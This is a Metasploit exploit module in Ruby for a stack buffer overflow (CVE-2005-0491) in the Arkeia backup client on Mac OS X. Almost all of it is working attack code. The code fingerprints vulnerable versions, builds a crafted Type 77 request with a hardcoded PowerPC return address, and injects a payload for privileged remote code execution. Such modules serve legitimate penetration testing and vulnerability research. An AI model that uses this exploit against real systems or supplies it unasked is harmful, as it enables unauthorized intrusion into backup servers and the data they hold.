Arkeia Backup Client Type 77 Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Arkeia  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',  
'Description' => %q{  
This module exploits a stack overflow in the Arkeia backup  
client for the Mac OS X platform. This vulnerability affects  
all versions up to and including 5.3.3 and has been tested  
with Arkeia 5.3.1 on Mac OS X 10.3.5.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0491'],  
[ 'OSVDB', '14011'],  
[ 'BID', '12594'],  
[ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'MinNops' => 700,  
'Compat' =>  
{  
'ConnectionType' => '-find',  
},  
},  
'Targets' =>   
[  
[  
'Arkeia 5.3.1 Stack Return (boot)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
'Ret' => 0xbffff910,  
},  
],  
],  
'DisclosureDate' => 'Feb 18 2005',  
'DefaultTarget' => 0))  
end  
  
def check  
info = arkeia_info()  
if !(info and info['Version'])  
return Exploit::CheckCode::Safe  
end  
  
print_status("Arkeia Server Information:")  
info.each_pair { |k,v|  
print_status(" #{k + (" " * (30-k.length))} = #{v}")   
}  
  
if (info['System'] !~ /Darwin/)  
print_status("This module only supports Mac OS X targets")  
return Exploit::CheckCode::Detected  
end  
  
if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
# Request has to be big enough to find and small enough  
# not to write off the end of the stack. If we write too  
# far down, we also smash env[], which causes a crash in  
# getenv() before our function returns.  
  
head = "\x00\x4d\x00\x03\x00\x01\xff\xff"  
head[6, 2] = [1200].pack('n')  
  
buf = rand_text_english(1200, payload_badchars)  
  
# Return back to the stack either directly or via system lib  
buf[0, 112] = [target.ret].pack('N') * (112/4)  
  
# Huge nop slep followed by the payload  
buf[112, payload.encoded.length] = payload.encoded  
  
print_status("Sending request...")  
begin  
sock.put(head)  
sock.put(buf)  
sock.get_once   
rescue IOError, EOFError => e  
print_status("Exception: #{e.class}:#{e}")  
end  
handler  
disconnect  
end  
  
end  
  
`